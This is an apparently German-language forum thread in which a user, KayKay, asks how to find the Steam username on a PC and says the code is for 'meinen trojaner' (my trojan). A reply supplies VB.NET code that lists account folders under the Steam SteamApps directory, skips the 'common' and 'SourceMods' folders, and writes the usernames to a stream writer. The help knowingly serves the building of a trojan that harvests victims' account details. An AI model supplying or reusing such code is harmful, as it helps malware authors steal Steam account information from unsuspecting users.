stelle des steam benutzernamens

[KayKay]

also danke erstmal ich habe den code n bisschen verändert und ausserdem in einer textbox ausgeben lassen , klappt alles wunderbar doch sobald ich diese funktion in meinen trojaner einbaue sucht er mir wieder so ein komisches wort was ich garnich gebrauchen kann

Meinst du vlt den SourceMods oder common ordner? Du kannst das so machen, damit er diese ignoriert,

Dim UserPath as String = ("C:\Programme\Valve\Steam\SteamApps\")
Dim Path As DirectoryInfo, dinfo As DirectoryInfo, sUsers As String, n As Integer = 0
Path = New IO.DirectoryInfo(UserPath)
For Each dinfo In Path.GetDirectories
If Not dinfo.Name = "common" And Not dinfo.Name = "SourceMods" Then
sUsers = dinfo.Name
n += 1
sstreamwriter.WriteLine(sUsers) 'hier die usgabe
End If
Next

So sollts klappen